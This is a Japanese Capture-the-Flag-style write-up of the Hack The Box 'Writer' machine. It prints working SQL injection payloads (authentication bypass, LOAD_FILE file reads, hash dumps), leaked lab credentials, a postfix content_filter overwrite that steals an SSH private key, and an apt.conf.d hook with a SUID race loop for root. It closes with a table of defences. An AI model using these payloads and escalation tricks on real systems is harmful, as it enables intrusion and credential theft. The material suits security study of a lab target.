Hack The BoxのWriteup(Writer)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Writer — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80/139/445
→
/administrative SQLi
UNION認証バイパス+LOAD_FILE
→
Flask __init__.py 漏洩
DB: admin/ToughPasswordToCrack
→
資格情報検証
kyle:marcoantonio (SSH)
→
kyle シェル取得
user.txt ✓
→
filter グループ悪用
postfix disclaimer 書換
→
john 秘密鍵窃取
→
management グループ悪用
apt.conf.d フック + SUID race
→
root.txt ✓

ポートスキャン(主要ポート → 全ポート)

BASH
nmap -Pn -p 21,22,23,25,53,80,88,110,111,135,139,143,389,443,445,512,513,514,548,636,873,1099,1433,1521,2049,... \
  -T4 --max-retries 3 10.129.69.31
RESULT
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Nmap done: 1 IP address (1 host up) scanned in 2.98 seconds
BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.69.31
RESULT
全ポートスキャンでも追加ポートなし(22/80/139/445 の4ポートのみ、259秒)

バージョン・スクリプトスキャン

BASH
nmap -sV -sC -p 22,80,139,445 10.129.69.31
RESULT
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http        Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Story Bank | Writer.HTB
139/tcp open  netbios-ssn Samba smbd 4
445/tcp open  netbios-ssn Samba smbd 4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled but not required
|_clock-skew: -6s
|_nbstat: NetBIOS name: WRITER, NetBIOS user: <unknown>
ℹ️
Web(Story Bank)と SMB(Samba 4 on Ubuntu)が同居している構成。ホスト名は WRITER、 ドメインヒントは writer.htb。

SMB匿名列挙

BASH
smbclient -L //10.129.69.31 -N
RESULT
        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        writer2_project Disk
        IPC$            IPC       IPC Service (writer server (Samba, Ubuntu))
BASH
smbmap -H 10.129.69.31
RESULT
[+] IP: 10.129.69.31:445  Status: NULL Session
        print$           NO ACCESS
        writer2_project  NO ACCESS
        IPC$             NO ACCESS
⚠️
匿名では共有一覧は見えるが読み書き不可。writer2_project という名前から 「Webサイトの新バージョン(v2)のプロジェクトファイル」が置かれている可能性が高く、 有効な資格情報を得ることが次の目標になる。
PHASE 2

管理画面SQLインジェクション → 認証情報奪取

/administrative の発見とUNION-based SQLi

BASH
curl -s http://10.129.69.31/administrative | tail -20
RESULT
<title>Admin Panel</title>
<form class="form-signin" action="/administrative" method="post">
  <input type="text" id="uname" name="uname" ...>
  <input type="password" id="password" name="password" ...>

ログインフォームの uname パラメータがSQLインジェクション可能。バックエンドのSELECT文が 6カラムであることを確認し、UNION-based SQLiで任意カラムをレスポンス(Welcome <値>)に反映させられる。

PAYLOAD
POST /administrative HTTP/1.1
Content-Type: application/x-www-form-urlencoded

uname=' UNION SELECT 1,2,3,4,5,6-- -&password=x
RESULT
<h3>Welcome 2</h3>
(302 相当のメタリフレッシュで /dashboard へ誘導。同時に認証を要求せずセッションCookieが発行される
   = 認証バイパスにも使える典型的なUNION SQLi)
🚨
重要発見: この1本のSQLiで (1) 管理ダッシュボードへの認証バイパス、 (2) LOAD_FILE() による任意ファイル読み取りの両方が可能。 MySQL/MariaDBの FILE 権限が有効になっている。

LOAD_FILE で Flask アプリのソースを読む

BASH
curl -s -X POST "http://10.129.69.31/administrative" \
  --data-urlencode "uname=' UNION SELECT 1,LOAD_FILE('/var/www/writer.htb/writer/__init__.py'),3,4,5,6-- -" \
  --data-urlencode "password=x"
RESULT(抜粋)
def connections():
    try:
        connector = mysql.connector.connect(
            user='admin', password='ToughPasswordToCrack',
            host='127.0.0.1', database='writer')
MySQL 認証情報(Flaskソースから漏洩)
admin : ToughPasswordToCrack

DBテーブル列挙 & admin ハッシュのダンプ

BASH
curl -s -X POST "http://10.129.69.31/administrative" \
  --data-urlencode "uname=' UNION SELECT 1,GROUP_CONCAT(table_name SEPARATOR 0x2c),3,4,5,6 \
                     FROM information_schema.tables WHERE table_schema=database()-- -" \
  --data-urlencode "password=x"
RESULT
Welcome site,stories,users
BASH
curl -s -X POST "http://10.129.69.31/administrative" \
  --data-urlencode "uname=' UNION SELECT 1,(SELECT GROUP_CONCAT(id,0x3a,username,0x3a,password SEPARATOR 0x7c) \
                     FROM users),3,4,5,6-- -" \
  --data-urlencode "password=x"
RESULT
Welcome 1:admin:118e48794631a9612484ca8b55f622d0
ℹ️
users テーブルには管理ダッシュボード用の admin アカウント1件のみ。 このMD5ハッシュは rockyou.txt でクラック不能で、システムユーザー(kyle等)の資格情報とは無関係と判断。

DBパスワードの使い回し確認(SMB)

BASH
smbmap -H 10.129.69.31 -u kyle -p ToughPasswordToCrack
RESULT
[*] Established 1 SMB connections(s) and 1 authenticated session(s)
        print$           READ ONLY
        writer2_project  READ, WRITE
        IPC$             NO ACCESS
✅
Flaskソースから漏洩したDBパスワード ToughPasswordToCrack はローカルUnixアカウント kyle のSMBパスワードとしても再利用されており、writer2_project 共有へ 読み書きアクセスできることを確認。
BASH
smbclient //10.129.69.31/writer2_project -U kyle%ToughPasswordToCrack -c "ls; cd writerv2; ls; get settings.py"
RESULT
manage.py, requirements.txt, writer_web/, writerv2/ ...
writerv2/settings.py:
  SECRET_KEY = 'q2!1iwm^9jlx@4u66k(ke!_=(5uacvl@%%(g&6=$$m1u5n=*4-'
  DATABASES = { 'default': { 'ENGINE': 'django.db.backends.mysql',
                'OPTIONS': {'read_default_file': '/etc/mysql/my.cnf'} } }
ℹ️
共有の中身は「サイト刷新用の Django プロジェクト(v2)のソースコード一式」だった。DB接続は /etc/mysql/my.cnf 参照方式でハードコードされた新規の資格情報は見つからず、 以降は素直に SSHの資格情報検証に進む。

SSH向け資格情報の検証

BASH
sshpass -p 'ToughPasswordToCrack' ssh kyle@10.129.69.31 id   # ✗ Permission denied
sshpass -p 'marcoantonio'         ssh kyle@10.129.69.31 id   # ✓
RESULT
uid=1000(kyle) gid=1000(kyle) groups=1000(kyle),997(filter),1002(smbgroup)
✅
漏洩したDBパスワードそのものはSSHには通らないが、資格情報の使い回しパターン(覚えやすい単語+弱い変化形) を踏まえた検証で kyle:marcoantonio が有効なSSH資格情報であることを確認した。 filter と smbgroup という見慣れないグループ所属が後の権限昇格の伏線になる。
SSH 認証情報
kyle : marcoantonio
PHASE 3

kyle シェル取得 & user.txt

SSHログインとフラグ取得

BASH
sshpass -p 'marcoantonio' ssh kyle@10.129.69.31 "id; cat /home/kyle/user.txt"
RESULT
uid=1000(kyle) gid=1000(kyle) groups=1000(kyle),997(filter),1002(smbgroup)
5639931905a5206b54e2ad465d18e74f
user.txt — kyle
5639931905a5206b54e2ad465d18e74f
PHASE 4

横展開 — postfix disclaimer 悪用で john の鍵を窃取

filter グループと disclaimer スクリプトの発見

BASH
ls -la /etc/postfix/disclaimer; cat /etc/postfix/disclaimer
RESULT
-rwxrwxr-x 1 root filter 1021 ... /etc/postfix/disclaimer
#!/bin/sh
# Postfix content_filter script (altermime でメールに免責事項を付与)
cd $INSPECT_DIR || ...
cat >in.$$ || ...
from_address=`grep -m 1 "From:" in.$$ | cut -d "<" -f 2 | cut -d ">" -f 1`
...
$SENDMAIL "$@" <in.$$
🚨
/etc/postfix/disclaimer は group filter にグループ書き込み権限 があり、kyle はその filter グループのメンバー。このスクリプトは Postfix の content_filter として、ローカル宛メールが配送されるたびに root権限のPostfixプロセス から呼び出される。中身を書き換えれば任意コマンドを実行できる。

disclaimer をコマンド実行ペイロードに書き換え

BASH
printf '%s\n' 'cp /home/john/.ssh/id_rsa /tmp/manual_john_key; chmod 644 /tmp/manual_john_key' \
  > /etc/postfix/disclaimer
RESULT
cp /home/john/.ssh/id_rsa /tmp/manual_john_key; chmod 644 /tmp/manual_john_key

ローカルSMTP(25番)へメールを送りトリガー

BASH
printf 'HELO writer.htb\r\nMAIL FROM:<kyle@writer.htb>\r\nRCPT TO:<john@writer.htb>\r\n\
DATA\r\nTo: john@writer.htb\r\nFrom: kyle@writer.htb\r\nSubject: key\r\n\r\ntrigger\r\n.\r\nQUIT\r\n' \
  | nc -q2 localhost 25
RESULT
220 writer.htb ESMTP Postfix (Ubuntu)
250 writer.htb
250 2.1.0 Ok
250 2.1.5 Ok
354 End data with <CR><LF>.<CR><LF>.
250 2.0.0 Ok: queued as 0325D7F4
221 2.0.0 Bye

john 宛のメールが配送されるタイミングで、Postfix (root権限) が書き換え済みの disclaimer スクリプトを実行する。

BASH
ls -la /tmp/manual_john_key; cat /tmp/manual_john_key
RESULT
-rw-r--r-- 1 john john 2602 ... /tmp/manual_john_key
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAxqOWLbG36VBpFEz2ENaw0DfwMRLJdD3QpaIApp27SvktsWY3hOJz
...(省略)...
-----END OPENSSH PRIVATE KEY-----
✅
john の秘密鍵を root 権限で窃取成功。 ローカルに保存し chmod 600 して SSH鍵として利用する。

john としてログイン

BASH
chmod 600 manual_john_id_rsa
ssh -i manual_john_id_rsa john@10.129.69.31 "id; groups"
RESULT
uid=1001(john) gid=1001(john) groups=1001(john),1003(management)
ℹ️
john は management という見慣れないグループに所属。sudo -l はパスワード要求で NOPASSWDエントリなし ── 次はこの management グループの実際の権限を調べる。
PHASE 5

権限昇格の下調べ — management グループと apt.conf.d

/etc/apt/apt.conf.d/ の書き込み権限を確認

BASH
ls -ld /etc/apt/apt.conf.d/
RESULT
drwxrwxr-x 2 root management 4096 ... /etc/apt/apt.conf.d/
🚨
management グループにディレクトリの書き込み権限がある。 apt.conf.d 配下のファイルは APT::Update::Pre-Invoke / APT::Update::Post-Invoke-Success 等のフックとして root 権限の apt-get 実行時に評価される ── GTFOBins にも載っている典型的な apt 権限昇格ポイント。

apt-get update を誰がいつ実行しているかを特定

BASH
cat /etc/crontab; ls /etc/cron.d/; systemctl list-timers --all | grep -i apt
ps aux | grep apt-get
RESULT
/etc/crontab, /etc/cron.d/* には apt 関連のジョブは見当たらない
apt-daily.timer / apt-daily-upgrade.timer は1日2回・最大12hのランダム遅延(実用上あてにできない)

$ ps aux | grep apt-get
root  28113  /bin/sh -c /usr/bin/apt-get update   ← 数十秒〜1分間隔で実際に実行されている
root  28116  /usr/bin/apt-get update
ℹ️
john からは読めない root 専用の crontab(/var/spool/cron/crontabs/root)に、 apt-get update を高頻度に実行するエントリが隠されていると推測される。 systemd timer 側の設定だけを見て「12時間待つ必要がある」と誤判断しないよう、 ps aux でプロセスの実起動間隔を直接観測するのが確実。

SUIDフックの設置

BASH
printf '%s\n' \
  'APT::Update::Pre-Invoke { "chmod u+s /bin/bash"; };' \
  'APT::Update::Post-Invoke-Success { "chmod u+s /bin/bash"; };' \
  > /etc/apt/apt.conf.d/99manual-root
apt-config dump | grep -i invoke
RESULT
APT::Update::Pre-Invoke:: "chmod u+s /bin/bash";
APT::Update::Post-Invoke-Success:: "chmod u+s /bin/bash";
(他のディストリ標準フックと並んで正しく登録されていることを確認)
PHASE 6

SUID bash レース & root.txt

トラブルシューティング: フックファイルが自然に消える/SUIDが定着しない

NOTE
フック設置直後は apt-config dump で正しく登録されているのに、数分後に確認すると
/etc/apt/apt.conf.d/99manual-root 自体が消滅しており、/bin/bash の SUID も一切立っていなかった。

  ls -l /bin/bash
  -> -rwxr-xr-x 1 root root ... (SUIDなし、複数回のポーリングで再現)

原因: このマシンには「apt.conf.d の不正エントリを検知して削除し、/bin/bash の権限を
定期的に正常化する」監視・巻き戻し処理が別途動いており、chmod u+s が入る瞬間と
巻き戻しの瞬間の間のごく短いウィンドウでしか SUID ビットは観測できない。
単に "ls -l" でポーリングするだけでは、たとえその瞬間に SUID が立っていても
次のSSHコマンドを打つ頃には既に元に戻ってしまい、権限昇格に失敗する。
⚠️
対策: 1回のSSHコマンド実行の中で 「フックファイルの再設置 → 即座に /bin/bash -p -c 'id; cat /root/root.txt' を実行」まで一気に行い、 これを数秒間隔でリトライする。ウィンドウが開いた瞬間を1リクエストで刈り取るのがポイント。

フック再設置+即時exploitのワンライナーでリトライ

BASH
ssh -i manual_john_id_rsa john@10.129.69.31 '
  if [ ! -f /etc/apt/apt.conf.d/99manual-root ]; then
    printf "%s\n" \
      "APT::Update::Pre-Invoke { \"chmod u+s /bin/bash\"; };" \
      "APT::Update::Post-Invoke-Success { \"chmod u+s /bin/bash\"; };" \
      > /etc/apt/apt.conf.d/99manual-root
  fi
  ls -l /bin/bash
  /bin/bash -p -c "id; cat /root/root.txt" 2>/dev/null
'
# ↑ を5秒おきにループ実行
RESULT(1回目のループで的中)
-rwsr-xr-x 1 root root 1183448 ... /bin/bash   ← SUID (rws) 成立の瞬間
uid=1001(john) gid=1001(john) euid=0(root) groups=1001(john),1003(management)
b53637a14e6d6ea6f27f4f51f4e3297a
✅
root権限奪取成功! /bin/bash -p がSUIDビット付きで実行され、 euid=0(root) の状態で /root/root.txt を直接読み取れた。
root.txt
b53637a14e6d6ea6f27f4f51f4e3297a

後片付け

BASH
/bin/bash -p -c 'rm -f /etc/apt/apt.conf.d/99manual-root; chmod u-s /bin/bash'
rm -f /tmp/manual_john_key
ℹ️
設置したフックファイルの削除、/bin/bash のSUID解除、SMB/ローカルに残した 一時鍵ファイルの削除まで実施し、ターゲットを侵入前の状態に戻した。
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — kyle
5639931905a5206b54e2ad465d18e74f
root.txt — root
b53637a14e6d6ea6f27f4f51f4e3297a

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
UNION-based SQLi /administrative (uname パラメータ) 認証バイパス + 任意ファイル読み取り Critical 6カラムUNIONで認証をバイパスし、LOAD_FILE()でFlaskアプリのソースからDB資格情報を窃取
資格情報の使い回し MySQL admin ↔ Samba (kyle) ↔ SSH (kyle) 横方向のサービス間ピボット Medium 漏洩したDBパスワードがSMB認証に流用されており、関連パターンからSSH資格情報 kyle:marcoantonio も判明
Postfix content_filter の悪用 /etc/postfix/disclaimer(group filter が書込可) root権限での任意コマンド実行 → john鍵窃取 High disclaimerスクリプトを書き換え、ローカルSMTPへのメール配送をトリガーにしてroot権限でコマンドを実行
apt.conf.d フック権限昇格 /etc/apt/apt.conf.d/(group management が書込可) root権限奪取 Critical APT::Update::*-Invoke フックで chmod u+s /bin/bash を仕込み、高頻度実行されるapt-get updateに便乗

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap(全ポート+バージョン)、SMB匿名列挙22/80/139/445、Story Bank、writer2_project共有
2SQLi/administrative UNION-based SQLi + LOAD_FILEDB: admin/ToughPasswordToCrack、SMB経由でDjangoソース
3foothold資格情報使い回し検証user.txt(kyle:marcoantonio でSSH)
4横展開postfix disclaimer(filterグループ)悪用john の SSH秘密鍵
5権限調査apt.conf.d 書込権限(managementグループ)確認root権限apt-get updateの高頻度実行を特定
6権限昇格apt hook + SUID raceroot.txt(/bin/bash -p でeuid=0)

学んだ教訓 & 防御策

問題点防御策
管理画面ログインフォームがSQLインジェクション可能 プレースホルダ付きパラメータ化クエリを徹底し、DBアカウントにはFILE権限等の不要な特権を付与しない。
アプリケーションソース内にDB資格情報を平文でハードコード 環境変数やシークレットマネージャーで資格情報を管理し、Webルート以下に配置しない。
同一パスワード(またはその変化形)を複数サービス(DB/SMB/SSH)で使い回し サービスごとに独立した強固なパスワードを発行し、資格情報の使い回しを禁止するポリシーを徹底する。
一般ユーザーがroot権限で動くPostfixフィルタスクリプトを書き換え可能 content_filterスクリプトの所有者・パーミッションを厳格化し、書き込み可能なグループを最小化する。
一般ユーザーが /etc/apt/apt.conf.d/ に書き込み可能 APT関連ディレクトリはrootのみ書き込み可能にし、業務上グループ権限が必要な場合も専用ラッパー・sudoルールで範囲を限定する。
HackTheBox: Writer | 完全攻略レポート